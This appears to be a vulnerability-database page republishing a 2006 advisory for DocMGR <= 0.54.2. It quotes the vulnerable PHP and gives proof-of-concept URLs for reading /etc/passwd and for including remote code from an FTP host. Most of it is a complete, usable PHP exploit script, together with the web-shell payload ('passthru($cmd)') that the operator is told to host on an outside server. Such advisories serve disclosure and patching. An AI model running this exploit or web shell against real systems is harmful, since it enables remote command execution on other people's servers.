DocMGR <= 0.54.2 arbitrary remote inclusion

Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

--------------- DocMGR <= 0.54.2 arbitrary remote inclusion -------------------- software: site: description: "DocMGR is a complete, web-based Document Management System (DMS). It allows for the storage of any file type, and supports full-text indexing of the most popular document formats. It is available in many different languages and is easy to translae into new languages. DocMGR runs on PHP, the Apache webserver, and Postgresql" ------------------------------------------------------------------------ -------- i) vulnerable code in modules/center/admin/accounts/process.php: <? $pageAction = $_POST["pageAction"]; $includeModule = $_REQUEST["includeModule"]; if ($_REQUEST["accountId"]!=NULL) $accountId = $_REQUEST["accountId"]; elseif ($_SESSION["accountId"]!=NULL) $accountId = $_SESSION["accountId"]; if (!$includeModule && $accountId) $includeModule="accountprofile"; /******************************************************************** process our search string ********************************************************************/ if ($pageAction=="search") { $searchString = $_REQUEST["searchString"]; $searchHeader = "<div class="toolHeader"> Results For "".$searchString."" </div> "; $option = null; if (defined("USE_LDAP")) { if (defined("GLOBAL_ADMIN")) $option["search_base"] = LDAP_BASE; else $option["search_base"] = SEARCH_BASE; } //create our search parameter array $option = null; $option["conn"] = $conn; $option["searchParm"]["login"] = $searchString; $option["searchParm"]["first_name"] = $searchString; $option["searchParm"]["last_name"] = $searchString; $option["wildcard"] = "last"; $searchResults = returnAccountList($option); //if we find one match, load this account if ($searchResults["count"]==1) { $accountId = $searchResults["id"][0]; $pageAction = null; $_POST["pageAction"] = null; $includeModule="accountprofile"; } else { $_SESSION["accountId"] = null; $accountId = null; $includeModule = null; } } if ($accountId!=NULL) { $_SESSION["accountId"] = $accountId; $accountInfo = returnAccountInfo($conn,$accountId,LDAP_BASE); //make sure this user can alter the account. If the account is an admin, then they cannot if ($accountId!=USER_ID) { //see if this user has permissions to edit other users if (!bitset_compare(BITSET,MANAGE_USERS,ADMIN)) $siteErrorMessage = "You do not have permissions to edit other usersn"; else { //see if this is an non-admin user trying to edit an administrator if (!bitset_compare(BITSET,ADMIN,null)) { $bitset_temp = returnUserBitset($conn,$accountId); if (bitset_compare($bitset_temp,ADMIN,null)) $permErrorMessage = "You cannot edit this user. This user is an administrator."; } } } } //processing for our sub module. We cannot call these with a function, or //we do not get information passed from process to display like we want $processPath = $siteModInfo["$includeModule"]["module_path"]."process.php"; $functionPath = $siteModInfo["$includeModule"]["module_path"]."function.php"; if (file_exists($functionPath)) include($functionPath); if (file_exists($processPath)) include($processPath); ... if short_open_tag = On in php.ini you can execute the script directly. $includeModule var is not initizialized so, if register_globals = On, you can set it to an index of your choice, ex: "suntzu" now $siteModInfo["suntzu"]["module_path"] is not initizialized. On PHP 4, with magic quotes = Off you can now include an arbitrary local resource, poc: http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.p hp?includeModule=suntzu&siteModInfo[suntzu][module_path]=../../../../../ ../../../../etc/passwd%00 on PHP 5 - on it the file_exists() function supports ftp resources... - you can include from remote an arbitrary process.php or function.php file, poc: http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.p hp?includeModule=suntzu&siteModInfo[suntzu][module_path]=ftp://username: password (at) somehost (dot) com [email concealed]/ if in ftp://username:password0 (at) somehost (dot) com [email concealed]/process.php we have code like this: <?php system($cmd);?> you can launch operating systems commands: http://[target]/[path_to_docmgr]/modules/center/admin/accounts/process.p hp?cmd=ls%20-la&includeModule=suntzu&siteModInfo[suntzu][module_path]=ft p://username:password (at) somehost (dot) com [email concealed]/ ------------------------------------------------------------------------ -------- exploit: <?php # ---docmgr_0542_incl_xpl.php 0.30 12/02/2006 # # # # DocMGR <= 0.54.2 remote commands execution exploit # # coded by rgod # # site: # # # # -> works against PHP5, with short_open_tag = On and register_globals = On # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "The quality of decision is like the well-timed swoop of a falcon # # which enables it to strike and destroy its victim." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",0); ob_implicit_flush (1); echo'<html><head><title> ** DocMGR <= 0.54.2 remote commands execution exploit** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> ** DocMGR <= 0.54.2 remote commands execution exploit** </p><p class="Stile6">a script by rgod at <a href=""target="_blank"></a> </p> <table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input type="text" name="host"> <span class="Stile5">* target ( </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /DocMgr/ or just / ) </span></p><p><input type="text" name="cmd"> <span class="Stile5"> * specify a command </span> </p> <p> <input type="text" name="FTP_LOCATION"><span class="Stile5"> * specify an ftp location (ex: ftp://u sername:password (at) somehost (dot) com [email concealed])</span> </p> <p> <input type="text" name="port"> <span class="Stile5">specify a port other than 80 (default value)</span> </p> <p><input type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".htmlentities_($headeri[$li+$ki])."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) { echo "<td>0".htmlentities($datai)."</td>"; } else { echo "<td>".htmlentities($datai)."</td> "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".htmlentities($headeri[$li])."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$FTP_LOCATION=urlencode($_POST[FTP_LOCATION]); $cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy]; echo "<span class="Stile5">"; if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("r","",$host);$host=str_replace("n","",$host); $path=str_replace("r","",$path);$path=str_replace("n","",$path); # STEP X -> One and unique, arbitrary remote inclusion ... $packet="GET ".$p."modules/center/admin/accounts/process.php?cmd=$cmd&includeModule=s untzu"; $packet.="&siteModInfo[suntzu][module_path]=$FTP_LOCATION/ HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="User-Agent: MiracleAlphaTestrn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else {echo "Note: on you need this code<br> in process.php or function.php :<br>"; echo nl2br(htmlentities(" <?php echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd); ?> "))."<br>"; echo "Fill * required fields, optionally specify a proxy...";} echo "</span>"; ?> ------------------------------------------------------------------------ -------- rgod site: mail: rgod at autistici org original adivsory: ------------------------------------------------------------------------ --------

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019,


Back to Top